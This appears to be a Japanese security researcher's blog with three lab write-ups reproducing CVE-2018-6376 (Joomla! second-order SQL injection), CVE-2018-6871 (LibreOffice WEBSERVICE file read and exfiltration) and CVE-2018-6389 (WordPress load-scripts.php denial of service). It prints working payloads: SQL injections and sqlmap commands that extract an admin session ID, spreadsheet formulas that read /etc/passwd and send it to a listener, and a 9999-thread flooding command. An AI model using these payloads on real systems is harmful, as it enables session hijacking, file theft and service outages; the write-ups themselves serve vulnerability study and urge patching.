knqyf263's blog

自分のためのメモとして残しておくためのブログ。

Joomla!のSecond Order SQL Injection(CVE-2018-6376) について調べてみた

こないだWordPressについて調べてみたので、勢いでJoomla!脆弱性についても調べてみました。 Joomla!も使ったことがなく、今回検証で初めて触ったので何か間違いがあれば教えてもらいたいです。

概要

Joomla!の3.7.0以上、3.8.3以下のバージョンにSecond Order SQL Injection(CVE-2018-6376)が見つかったとのことです。 SQL Injectionなので、データベース上の任意のデータが読み出し可能です。 ただし攻撃条件として、攻撃者はManager権限でJoomla!に認証される必要があります。 Managerはデフォルトで存在するユーザグループで、Super UsersやAdministratorよりは弱い権限です。 Super Usersのsessionなどを奪うことで権限昇格する例が発見者により紹介されています。

修正済みのバージョン(3.8.4)がリリースされているので、アップデートすれば対応できます。

参考

以下が発見者によるサイトです。

Joomla! 3.8.3: Privilege Escalation via SQL Injection

そして以下はさらに詳しく解説したページになります。発見者のサイトだけだと、どうやって攻撃まで繋げるか細かいところが分からなかったのですが、こちらのサイトの解説で理解できました。

www.notsosecure.com

Second Order SQL Injectionとは?

PortSwiggerのサイトが分かりやすかったです。

portswigger.net

簡単に言うと、ユーザからのデータをアプリケーションがDBなどに一度保存し、あとで利用される時に発動するSQL Injectionです。 一度目はエスケープして保存したけど、そのデータを別の箇所で使う時にエスケープをし忘れてSQLの条件に入れてしまった、などがあるかと思います。 自分もあんまり詳しくなかったですが、昔からあるみたいですね。

http://takagi-hiromitsu.jp/diary/20051231.html#p05

詳細

TL;DR

  • Joomla!の3.7.0以上、3.8.3以下に影響あり
  • 攻撃者はManager権限以上を持っている必要がある
  • プロフィール更新ページの admin_style が脆弱なパラメータ
  • 保存時は安全にDBに保存される
  • 別ページで admin_style の値を用いる時に発動する
  • データは表示されないがエラーメッセージは表示される

検証

自分でやってみないと理解が深まらないかと思いますので、試してみます。 docker-compose.ymlを用意したので、まずこれで簡単にJoomla!を起動します。 3.8.3以下で脆弱なバージョンなら何でも良いのですが、今回は3.8.2のDockerイメージがあったのでそれを使っています。

github.com

http://localhost:10080 にアクセスするとJoomla!が起動しているかと思いますので、インストールの設定を進めていきます。 ユーザ名は何でも良いのですが、今回は分かりやすく"super"というユーザ名にしました(Super Users権限になるため)。

f:id:knqyf263:20180212161257p:plain

Docker ComposeでMySQLのホスト名はdbにしたので、以下のように設定します。

  • データベース:MySQLi
  • ホスト名:db
  • ユーザ名:root
  • パスワード:joomla
  • データベース名:joomla

f:id:knqyf263:20180212162934p:plain

あとは指示に従ってインストールを進めていき、インストールが終わったら

「Users」→「Manager」→「Add New User」

から新しくユーザを作成します。今回は"manager"というユーザ名で、Manager権限を付与して作成しました。 なので以下のようになります。

f:id:knqyf263:20180212163144p:plain

今回の検証では、Manager権限を持つ"manager"からSuper Users権限を持つ"super"へ権限昇格してみることにします。 "super"でログインしたままにしつつ、別のブラウザなどで"manager"でログインして下さい。

そして「Edit Account」を開きます。 このプロフィール更新ページに攻撃するべきパラメータがあります。 「Save」ボタンを押すと以下のようなPOSTリクエストが飛びます(長いのであちこち省略してます)。

POST /administrator/index.php?option=com_admin&view=profile&layout=edit&id=180 HTTP/1.1
Host: localhost:10080
Content-Length: 1970
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[name]"

manager
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[username]"

manager

...(省略)...

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"


------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_language]"

...(省略)...

Content-Disposition: form-data; name="task"

profile.apply
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
...(省略)...

この jform[params][admin_style] が脆弱なパラメータになります。 まず、 admin_style が保存されるまでのコードを追ってみましょう。 上の解説記事によると、com_adminのControllerの save が呼び出されるようです。

/**
 * Overrides parent save method to check the submitted passwords match.
 *
 * @param   string  $key     The name of the primary key of the URL variable.
 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
 *
 * @return  boolean  True if successful, false otherwise.
 *
 * @since   3.2
 */
public function save($key = null, $urlVar = null)
{
    $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));
    $return = parent::save();
    if ($this->getTask() != 'apply')
    {
        // Redirect to the main page.
        $this->setRedirect(JRoute::_('index.php', false));
    }
    return $return;
}

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

実際にこの箇所で JFactory::getUser() の戻り値の中身を見てみたところuserに関する情報が格納されていました。 そして次の parent::save() で実際のDBへの保存が行われそうです。

親クラスはJControllerFormになりますが、定義が見つかりませんでした。 色々探してみたところ、以下の記述が見つかりました。

JLoader::registerAlias('JControllerForm',                   '\\Joomla\\CMS\\MVC\\Controller\\FormController', '5.0');

joomla-cms/classmap.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

エイリアスとして登録できるんですかね...?FormControllerの save は以下にありました。 これまたコードが大きくてここで合ってるのか正直自信ないで、誰かJoomla!のプロが教えてくれることを期待してます。

https://github.com/joomla/joomla-cms/blob/6f6a89352bf0c774481cf05fdaec47242e905bd2/libraries/src/MVC/Controller/FormController.php#L614

FormControllerの save では、以下で $model を取り出していました。

public function save($key = null, $urlVar = null)
{
    // Check for request forgeries.
    \JSession::checkToken() or jexit(\JText::_('JINVALID_TOKEN'));
    $app   = \JFactory::getApplication();
    $model = $this->getModel();
    $table = $model->getTable();

そしてその後、POSTのデータを getForm で取り出しています。

// Validate the posted data.
// Sometimes the form needs some posted data, such as for plugins and modules.
$form = $model->getForm($data, false);

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

あとは validate でバリデーションしたり何やかんやしながら、最終的に $modelsave を呼んでいます。 ここでDBへの保存を行っているんじゃないかなーと思います。多分。。

// Attempt to save the data.
if (!$model->save($validData))

joomla-cms/FormController.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub

この $modelsave で、com_adminの AdminModelProfilesave が多分呼ばれます。

多分しか言ってない。。すみません。。

/**
 * Method to save the form data.
 *
 * @param   array  $data  The form data.
 *
 * @return  boolean  True on success.
 *
 * @since   1.6
 */
public function save($data)
{

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

先程 $modelgetForm が呼ばれていると言いましたが、それは恐らくここ。最初に見たControllerと同じで、com_adminの下にあるModelです。

/**
 * Method to get the record form.
 *
 * @param   array    $data      An optional array of data for the form to interogate.
 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
 *
 * @return  JForm    A JForm object on success, false on failure
 *
 * @since   1.6
 */
public function getForm($data = array(), $loadData = true)
{
    // Get the form.
    $form = $this->loadForm('com_admin.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

ということでPOSTのデータが取り出されて、先程の save に渡されます。

public function save($data)
{
    $user = JFactory::getUser();
    unset($data['id']);
    unset($data['groups']);
    unset($data['sendEmail']);
    unset($data['block']);
    $isUsernameCompliant = $this->getState('user.username.compliant');
    if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant)
    {
        unset($data['username']);
    }
    // Bind the data.
    if (!$user->bind($data))
    {
        $this->setError($user->getError());
        return false;
    }
    $user->groups = null;
    // Store the data.
    if (!$user->save())

joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub

そして元々保存されていた $user にPOSTで渡ってきた $data をバインドして save を呼んでDBに保存します。 この $user は共通で定義されているモデルで、ちらっと見た感じではSQL Injectionは問題なさそうでした。

ということで長いことダラダラと書きましたが、「Save」を押した時のリクエストではSQL Injectionは起きなさそうです。 シングルクォートを入れてもエラーなくDBに保存されました。

admin_styleusers テーブルに params というカラムで保存されます。初期設定でランダムなprefixを付けている場合、以下のように qpqau_users などになっています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------+
| params                                                                                            |
+---------------------------------------------------------------------------------------------------+
|                                                                                                   |
| {"admin_style":"'foo","admin_language":"'foo","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

これを見れば分かる通り、 'foo は問題なく保存されています。

ではようやく本題です。 今までは単にユーザの入力を安全にDBの値を保存するだけなので実はどうでも良いです。 せっかくコード読んだからという理由で書いただけです。 SQL Injectionが発動する箇所が重要です。

上述した admin_style というパラメータはプロフィール更新の「Backend Template Style」に該当します。 見た目を変えるためのパラメータのようです。 通常はドロップダウンから選び、数値が保存されます。

f:id:knqyf263:20180213092938p:plain

admin_style が利用される場所を確認します。

function hathormessage_postinstall_condition()
{
...(省略)...

    // Get the current user admin style
    $adminstyle = $user->getParam('admin_style', '');

    if ($adminstyle != '')
    {
        $query = $db->getQuery(true)
            ->select('template')
            ->from($db->quoteName('#__template_styles'))
            ->where($db->quoteName('id') . ' = ' . $adminstyle[0])
            ->where($db->quoteName('client_id') . ' = 1');
        // Get the template name associated to the admin style
        $template = $db->setquery($query)->loadResult();
    }

joomla-cms/hathormessage.php at 3bef68463a5374e9aaf617111529be94d5d2fe70 · joomla/joomla-cms · GitHub

ここでは admin_style の値を取り出し、 $adminstyle に格納しています。 その後、SQLのWHEREに利用しています。 この際、特にエスケープなどはなく文字列連結で行われています。

では先程のPOSTリクエストを改ざんして AND sleep(5);– を送ってみましょう。自分はBurp Suiteを使っていますが、プロキシツールの使い方は調べれば山ほど出てくると思います。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

AND sleep(5);–

f:id:knqyf263:20180213133455p:plain

正常に保存されたものの、エラーを見るとAだけになってしまっています。 これは上記のコードで $adminstyle[0] となっており、インデックスが0のものだけが利用されているからです。 文字列が与えられれば1文字目が取り出されます。

では配列を与えればいいな、ということで以下のように与えてみます。 配列の最初の要素である test1 が表示されることを狙っています。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style]"

["test1", "test2", "test3"]

f:id:knqyf263:20180213133746p:plain

すると、これまた [ だけになっています。 JSONデコードなどしてくれればarrayになってくれたかもしれませんが、単に文字列として扱われてしまっています。

自分はこの辺りで困ったなーと思って真面目に考えず放置していたのですが、先程の解説記事に方法が書いてありました。 POSTのパラメータ名を jform[params][admin_style][0] に変えるという方法です。 こうすればarrayとして扱われます。 再度送ってみます。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

AND sleep(5);--

f:id:knqyf263:20180213133918p:plain

エラーメッセージに AND sleep(5) が表示されているこが分かります。 ということで成功しました。 arrayに変えてみるという方法は脆弱性でもたまにありますし、CTFでも以前出題されているのを見たことがあるので、すぐに思いつかないと駄目ですね。。 少し憂鬱になりました。

DBにも以下のようにarrayで保存されています。

mysql> select params from qpqau_users;
+---------------------------------------------------------------------------------------------------------------+
| params                                                                                                        |
+---------------------------------------------------------------------------------------------------------------+
|                                                                                                               |
| {"admin_style":["AND sleep(5);--"],"admin_language":"","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

今回はクエリの結果が画面に表示されたりはしませんが、エラーメッセージが表示されます。 なので extractvalue を使って欲しいデータを出力します。 詳細は以下を参照して下さい。

d.hatena.ne.jp

sessionテーブルに各ユーザの session_id が格納されているので、"Super Users"の session_id を狙います。 これはログイン中にのみレコードが存在するようなので、今回はシークレットウィンドウで"super"でログインしてから試しています。

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

こんな感じで session テーブルから "super" ユーザのsession_idをSELECTしています。 リクエストとしては以下です。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

f:id:knqyf263:20180213134651p:plain

無事に "super" ユーザの session_id が表示できました。 あとはこれを使えばSuper Users権限で好きに操作可能です。

発見者のページには以下のようにあったので、Super Users権限ならPHPの任意コードが実行可能になるようです。

By gaining full administrative privileges she can take over the Joomla! installation by executing arbitrary PHP code.

サラッと流しましたが、ここで一つ気になることがあるかと思います。 session テーブルと言いましたが、実際は qpqau_session テーブルです。 これはJoomla!のインストール時にランダムなprefixを付けるように設定したためです。 これは同じDBに複数のJoomla!をインストールしたい場合に有用なようです。 SQL Injectionがあった時のセキュリティ対策という記述も見かけたのですが、テーブル名のdumpは出来ることが多いので効果は薄めじゃないのかなーと思いました。

ということで、テーブル名を先に抜き出す必要があるな...などと考えていたのですが、どうやらその必要はないようです。 Joomla!のDBのprefixに関するドキュメントを見て下さい。

Database Table Prefix - Joomla! Documentation

Extension developers need to use the string #__ to represent the prefix. This will be replaced by the real prefix during runtime by Joomla.

prefixに #__ を使うと、置き換えてくれると書いてあるようです。 試しに以下のリクエストを投げてみたところ、普通に成功しました。

extractvalue(0x0a,concat(0x0a,(select session_id from #__session where username='super')))

どうやら、prefixがSQL Injection緩和策に役立つことはなさそうです。 ということで無事に攻撃成功したので終わりです。

ちなみにテーブル名の抜き出しも一応検証しておこうということで、以下のようなリクエストも試してみました。

extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() and table_name like '%session')))

f:id:knqyf263:20180213140205p:plain

#__session が返ってきました。SQL Injectionが楽で便利。

sqlmap

これも解説記事に載っていたのですが、sqlmapはSecond Order SQL Injectionにも使えるようです。 今回の脆弱性を自動で見つけてくれるかは分からないのですが、ある程度パラメータなどの形を与えることでdumpなどは自動でやってくれるようです。 具体的には以下のような形。

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

この * のところがsqlmapにとってマーカの役割を果たし、ここをsqlmapが勝手に変更してSQL Injectionしてくれます。 あとはPOSTのリクエスト全体をテキストファイルで保存して、 admin_style のところを配列に変えて上記の値を入れてあげればsqlmapの準備は完了です。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

sqlmapはgit cloneして持ってくれば良いです。 -r でテキストファイルを読み込んでくれるので、以下のコマンドを実行します。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --tables

バックエンドはMySQLと分かっており、DB名も joomla と分かっているのでその辺りは時間短縮のために指定しています。 そして --second-order で、Second Order SQL Injectionが実際に発動するURLを指定しています。 これは保存する場所と保存された値が利用される場所が違うためですね。 結果は以下のようになり、テーブル名が取得できています。

f:id:knqyf263:20180213141031p:plain

ついでにsession_idも抜き出しましょう。 --dump を指定してみます。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --dump

f:id:knqyf263:20180213141451p:plain

カラム名が取得できない、と言われています。 この理由は特に調べてないです。 #__session は実際に存在しないテーブル名なので(実際は qpqau_session)、そのあたりが影響しているのかもしれません。

カラム名が分からない場合、良くあるカラム名で取得を試みてくれるようです。 sqlmapが以下にカラム名の辞書を持っていました。

sqlmap/common-columns.txt at 47bbcf90ea292e17e0c2a472ccc625a7989e9c16 · sqlmapproject/sqlmap · GitHub

Joomla!カラム名は既知で、今回はsession_idが欲しいだけなのでsession_idとだけ書いた辞書を保存しました。 defaultの辞書にもsession_idは含まれていたので、時間はかかりますが抜き出せます。

$ cat txt/joomla.txt
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission

session_id

先程同様に --dump を付けて実行します。 customを指定して自分で作った辞書を指定します。

[10:16:04] [INFO] fetching columns for table '#__session' in database 'joomla'
[10:16:04] [WARNING] unable to retrieve column names for table '#__session' in database 'joomla'
do you want to use common column existence check? [y/N/q] y
which common columns (wordlist) file do you want to use?
[1] default '/Users/teppei/src/github.com/sqlmapproject/sqlmap/txt/common-columns.txt' (press Enter)
[2] custom
> 2
what's the custom common columns file location?
> txt/joomla.txt
[10:16:13] [INFO] checking column existence using items from 'txt/joomla.txt'
[10:16:13] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[10:16:15] [WARNING] running in a single-thread mode. This could take a while
[10:16:15] [INFO] retrieved: session_id
[10:17:16] [INFO] fetching entries for table '#__session' in database 'joomla'
[10:17:16] [INFO] used SQL query returns 1 entries
[10:17:18] [INFO] retrieved: 61dd526b2b88c9eed275c09bf3be87f1

session_idが抜き出せているのがわかります。 sqlmap使うと実際の抜き出しは楽で良いですね。

まとめ

Joomla!は触ったことないので勉強がてら触ってみました。 Second Order SQL Injectionは実際にあるのを見ると面白いですね。 POSTでarrayにする、というのはすぐに思いつかないとダメ。 原理として知っているのと、実際に検証するのでは身につく度合いが全然違うかなと思います。

あとJoomla!のコードを読む際に、ジャンプできないことが多くて読むのかなり大変でした(なので合っているか自信がない)。 PHPとかは皆さんどうやってコードリーディングしてるんでしょうか。 ctagsやPhpStormのデフォルト設定では全然無理でした。

LibreOfficeの脆弱性(CVE-2018-6871) について調べてみた

休日ということでgolangを触ったことのないブラジル人からのIssueに対応したりして過ごしていたのですが、無事解決してめっちゃ感謝されるなどしてました。

github.com

この人がいつか誰かにこの恩を返して世界が平和になると良いですね(良い話)。 対応の過程でgoreleaserのバグを見つけて直そうかなと奮闘していたのですが、ちょっと疲れてニュースとか見てたらLibreOffice脆弱性(CVE-2018-6871)が話題になっていました。

github.com

リモートから任意のファイルが盗めるぞ!という話っぽいです。 Microsoft Officeを持っておらずLibreOffice使っている自分としては、少し調べてみたい気持ちになったので試してみました。LibreOfficeも年に2,3回しか起動しませんが。

概要

結論から言うと、外部にHTTPリクエストを飛ばす関数で"file://"とかするとローカルファイルが読めちゃうっていう良くあるやつでした。 原理としてはいつものやつね〜って感じで終わりだと思いますが、試してみると恐ろしく簡単に成功し、かつファイル開く時に何の警告も出ないので下手するとファイル盗まれても気づかないです。 クリックしただけで死ぬので怖くてLibreOfficeのファイル開けなくなりました。

6.0.1.1に上げたら成功しなくなったので、LibreOffice使ってる人は速やかにアップデートすることをおすすめします。 5.4.5/6.0.1より前のバージョンは影響あるらしいです。 (WEBSERVICE関数がサポートされたあとのバージョンに影響ありそうだから下限ある気がするのですが、今のところそういう情報は出てなかったです)

大事なことなのでもう一度言いますが、LibreOfficeを使っている人は早くアップデートしたほうが良いと思います

詳細

MicrosoftExcel 2013からWEBSERVICEという関数が追加されたらしいです(Excel使わないので全然知らない)。 support.office.com

これはインターネット(やイントラネット)上にあるデータをGETで取得してセル上に表示してくれる関数のようです。 以下のように書くとレスポンスのデータを表示してくれます。

=WEBSERVICE(“http://mywebservice.com/serviceEndpoint?searchString=Excel”) 

これはFILTERXML関数を使うことで、XMLをHTTPで取得し欲しいデータを取り出すような処理が想定されているとのことです。 以下はFILTERXMLと組み合わせた例(上のGitHubに載ってたやつ)。

=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

先程のMicrosoftのドキュメントに以下のようにあります。

For protocols that aren’t supported, such as ftp:// or file://, WEBSERVICE returns the #VALUE! error value.

ftp://file:// などのサポートされてないプロトコルの場合はエラーを返すようです。 しかし、LibreOfficeにはこの制限がなかった、ということです。 そのため、ローカルファイルなどを好きに読み込めてしまいます。

ローカルファイルの読み込み

先程の発見者のページに以下のような例が載っていました。簡単ですね。。

=WEBSERVICE("/etc/passwd")

これは実際試してみたのでGIFを貼っておきます。 発見者がPoCを既にがっつり公開してますし絶対悪用される脆弱性な気がするので、いかに危険かを知ってもらって早くアップデートしてもらうのが重要かなと思っています。

f:id:knqyf263:20180210230327g:plain

見てもらえば分かりますが書いてある通り、特に何のひねりもなく成功します。

外部への送信

あとはこれを適当にGETのクエリパラメータに入れちゃえば好きなところに送れます。 以下は発見者による例です。

=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

一応これもGIF貼っておきます。 f:id:knqyf263:20180210231150g:plain

右でWEBSERVICE関数を入力したら左にリクエスト飛んできたって感じです。 GETリクエストのところにファイルの内容が入っています。

影響のあるOS

GNU/Linux, MS Windows, macOSなど全てのOSと書いてあります。 少し気になることがあって、MicrosoftWEBSERVICEドキュメントには以下のように書いてあります。

NOTE: This function may appear in the function gallery in Excel for Mac, but it relies on features of the Windows operating system, so it will not return results on Mac.

Macでは使えないよって書いてあるように見えます。なのでLibreOfficeMacでは影響ないのかなーと思ってMacで試したのですが普通に成功しました。LibreOfficeWEBSERVICEは違う方法で実装されて使えちゃったんですかね。不運。

影響のあるファイル形式

まず、Libre Calcは影響があり、発見者が公開しているようにfodsフォーマットは影響があります。また、odsフォーマットを開いても実行されました。xlsxも一応試してみたら成功したので、攻撃者がExcelファイルをメールで送ってきてLibreOfficeで開くと発動するということですね。

また、LibreOffice Calc以外でもcalcオブジェクトの埋め込みを使えば発動するようです。なのでCalcじゃないから安全ということではないとのこと。

怖い点

  • ファイル開いた時に警告とか出ない
  • ファイル開くだけでリクエストが飛ぶ

Microsoft OfficeではWEBSERVICE関数はデフォルトで有効ではなく、自分で有効にしないと使えないようです。マクロととかと同様ですかね。

ですが、LibreOfficeはデフォルトで使えました。特に自分は特殊な設定してないので、他の人も同じのはず。 そのため、ファイル開いただけでリクエストが飛びました。一旦保存したファイルを再度開いてもキャッシュ?があるのかリクエストは飛びませんでしたが、複製してから開いたら開くと同時にリクエストが飛びました。 開くだけで実行されて警告も出ないので、それっぽいファイルに偽装されたら絶対気づけないですね。

自分のMac環境では上記のような結果になりましたが、他のOSや環境だと異なる結果になるかもしれないです。

よく分かってないこと

上記GitHub上のFirst partを試して、ファイルオープン時に発動して怖っ!となって満足したのですが、実はSecond partもありました。 セルのタイプを~errorなどにすると...とありますが表計算ソフトよく分かってないので理解できませんでした。 ココらへんはExcelのプロが教えてくれることを期待してます。

まとめ

内容読んで試すまで10分ぐらいあれば出来るような脆弱性でした。 単純でかつ影響度が大きすぎるので、可及的速やかにアップデートしたほうが良いです。

WordPressのDoS (CVE-2018-6389) について調べてみた

概要

CVE-2018-6389が出ていました。 WordPressDoSとのこと。
正直WordPress周りに使ってる人いないのですが、簡単な話だったので調べてみました。

最初にまとめておくと、JavascriptCSSを読み込む機能を悪用し大量の読み込みをリクエストすることでDoSになります。 そして重要なのは、このDoSWordPress脆弱性として認めておらず公式のパッチがリリースされていません(2018/02/07時点)。
なのでゼロデイの脆弱性になるかと思います。 昨日リリースされた 4.9.3で試したのですが、やはり再現するようでした。 発見者から修正が公開されているので、対応される場合はそちらを参照されるとよいかと思います。

脆弱性詳細

以下のリンクに全て書いてあります。以上。 baraktawily.blogspot.jp

ですがせっかく読んだので、少しまとめます。ざっとしか読んでないので間違ってたらそっと指摘して下さい。

WordPressには load-scripts.php というファイルが存在し、これは以下のように load[] パラメータを受け取ります。
https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

この場合は jquery-ui-core を指定しており、レスポンスではJavascriptのモジュールである jQuery UI Core が返ってきます。

f:id:knqyf263:20180207095215p:plain

つまり、jsやcssのファイルを複数ロードする機能を提供しているようです。これを使うことで1リクエストで一気に複数ファイルをロードできるので、効率的なのかなと思います。

このloadにはカンマ区切りで複数の値を渡せます。 コード的には以下のあたり。

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

ただしuniqueされているので、以下のように jquery-ui-core を複数渡そうとしても1つになります。
https://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1

実際にjsのモジュールを読み込む処理は以下の辺りですが、 array_key_exists でkeyの存在有無を確認しています。 つまり、 load[] に適当な文字列を渡したりしても読み込んでくれないということです。

foreach ( $load as $handle ) {
    if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) {
        continue;
    }
    $path = ABSPATH . $wp_scripts->registered[ $handle ]->src;
    $out .= get_file( $path ) . "\n";
}

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

この $wp_scripts はどこで作られているかというと、以下の辺りです。

/**
 * Register all WordPress scripts.
 *
 * Localizes some of them.
 * args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
 * when last arg === 1 queues the script for the footer
 *
 * @since 2.6.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_scripts( &$scripts ) {

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

先ほどの jquery-ui-core も以下にあります。

// full jQuery UI
$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );
$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

予め定義されたものしか読み込まないのだから安全!ということで終わりそうなものですが、発見者が調べたところこのリストに値は181個あったそうです。 そこで、181個のモジュールを要求するようなリクエストを投げてみたとのこと。単にカンマで繋ぐだけですね。 その結果、同時に181のI/Oが走り1リクエストを処理するのに2.2秒かかったとのこと。

1リクエストではサーバが落ちるところまでは行かなかったが、同時に多数のリクエストを投げたらどうか?ということで自作ツールである doser.py を使って9999スレッドでリクエストを投げたところ、500リクエストぐらいで応答がなくなり502/503/504 などのエラーになってしまったそうです。

発見者によるPoCの動画もあります。ただ、大したことやってないので自分で試したほうが速い気がします。 www.youtube.com

そしてこの攻撃のポイントは、認証が不要ということです。 load-scripts.php 自体は wp-admin の下にあるのでadmin権限がないと読み込まれないようにも見えますが、adminのログインページでも読み込まれるため実は認証不要で実行することが可能です。

試してみる

以下に置いておきました。

github.com

WordPressの起動

docker-composeで起動するように docker-compose.yml が書かれているので、以下のコマンドを打つだけです。

$ docker-compose up -d

ブラウザで確認

http://localhost:8000
言語選択とか出てますが、何も設定しなくても攻撃可能なので何もいじらなくて良いです。

攻撃する

単に並列にリクエスト投げられればよいだけなので、ツールはなんでも良いです。 今回はdeser.py を使ったのでダウンロードしてから使います。

$ python doser.py -g 'http://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

